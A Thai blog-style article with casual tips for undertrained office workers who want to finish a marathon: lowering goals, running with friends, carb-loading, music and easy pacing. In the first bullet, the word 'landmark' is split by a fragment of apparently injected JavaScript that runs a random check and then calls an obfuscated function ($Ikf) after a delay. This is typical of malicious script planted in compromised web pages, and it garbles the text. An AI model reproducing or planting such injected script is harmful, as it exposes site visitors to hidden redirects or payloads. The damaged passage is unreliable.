เรากำลังเข้าสู่ฤดูแห่งมาราธอนแล้วครับทานผู้ชม…นับแต่เดือนพฤศจิกายนยาวไปจนถึงกุมพาพันธ์ ถือว่าเป็นช่วงที่มาราธอนชุกชมมาก ไม่ว่าจะเป็นจอมบึงมาราธอน ขอนแก่นมาราธอน สุพรรณบุรีมาราธอน บุรีรัมย์มาราธอนและเชียงใหม่มาราธอน เหตุเพราะว่าช่วงนี้อากาศจะไม่ร้อนมากนักหากมีหนาวด้วยถือว่าโชคดี
สำหรับนักวิ่งที่มีระเบียบวินัยดี ฝึกครบตามตาราง สะสมไมล์ได้อย่างที่ต้องเป้าไว การวิ่งมาราธอนไม่น่าจะมีปัญหามากนัก แต่สำหรับมนุษย์ออฟฟิศงานเยอะ วิ่งบ้างซ้อมบ้างเบาๆ และเก็บระยะไม่ถึง เรามีวิธีช่วยให้คุณวิ่งมาราธอนได้ถึงฝั่งฝันกัน
- เปลี่ยนเป้าหมายใหม่ การไปวิ่งครั้งนี้คือการเที่ยวชมบรรยากาศเมือง การวิ่งเพื่อทำเวลาไม่ใช่เรื่องใหญ่ คุณมีเป้าหมายใหม่นั้นคือ การวิ่งผ่านจุด landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmark ที่สำคัญ เป็นเควสเก็บสถานที่แทน หรือเควสดื่มน้ำทุกจุด ทั้งนี้ก็เพื่อลดความกดดันและความคาดหวังของตัวเองลง การวิ่งบนความกดดันของตัวเอง จะทำให้เราเร่งฝีเท้าทำความเร็วในขณะที่ร่างกายไม่พร้อมที่จะรับ workload ในระยะมาราธอนได้ เราอาจจะจบแต่เจ็บ (บาดเจ็บแน่นอน)
- หาเพื่อน เราไปสนุกกับการวิ่ง เราคือกลุ่มนักวิ่ง 42.195K เราจะหนี Cut-off ไปด้วยกัน เปลี่ยนบรรยากาศการวิ่งมาราธอนให้สนุกมากขึ้นเมื่อวิ่งไปกับเพื่อน และถือว่าสามารถฆ่าเวลาได้ดีเช่นกัน การมีเพื่อนวิ่งเคียงข้างจะช่วยให้เรารักษาจังหวะการวิ่งได้ดี ไม่น่าเบื่อและมีการช่วยกันดูแล
- โหลดคาร์บให้เยอะเข้าไว้ แล้วค่อยไปเบริ์นกันต่อที่งาน สะสมไกลโคเจมในมัดกล้ามเนื้อไว้ใช้งานให้ได้มากที่สุด และลองพวกกาเฟอีนดื่มดูนะครับ มันจะช่วยทริคร่างกายให้เฟรส มีพลังงานและกระปรี้กระเปร่า แนะนำให้ดื่มเครื่องดื่มเกลือแร่และน้ำก่อนวิ่งด้วย ของกินเพิ่มพลังงานระหว่างวิ่งก็สำคัญ จะเป็นเจล บาร์หรือธัญพืชอัดแท่งก็ได้ และอีกคำแนะนำที่เราควรปฏิบัติตามคือ ดื่มน้ำเป็นระยะๆ แม้ไม่หิว เพราะถ้าเรารู้สึกว่าหิวน้ำนั้นคือร่างกายเราขาดน้ำแล้ว
- หาเพลงฟังปลุกใจเข้าไว้ บทเพลงมีพลังช่วยให้เราวิ่งเร็วขึ้นและลบความเมื่อยล้าและอาการปวดล้าได้ ยิ่งเพลงที่มี beat เยอะๆ จะทำให้เราวิ่งได้เร็ว (ช่วยฆ่าเวลาเช่นกัน)
- ซอยเท้าสั้นๆ เล่นรอบเข้าไว้ การวิ่งครั้งนี้ไม่ได้ทำความเร็ว ถ้าปกติวิ่ง Pace 6 ก็ให้บวกเป็น Pace 7-8 เลยครับ เลี้ยง Pace ไปเรื่อยๆ ใกล้ๆ ถึงเส้นชัยถ้ามีแรงเหลือก็ค่อยอัดเพิ่มความเร็ว
สุดท้ายนี้ก็ต้องนอนหลับให้เพียงพอ ตื่นขึ้นมาให้สดใส่ที่สุดให้ร่างกายและจิตใจได้พักผ่อน พาเพื่อนพากองเชียร์ได้เยอะๆ จะได้มีกำลังใจ ส่วนเวลาที่จบนั้น…ช่างมัน รอบนี้เรามาวิ่งชมนกชมไม้
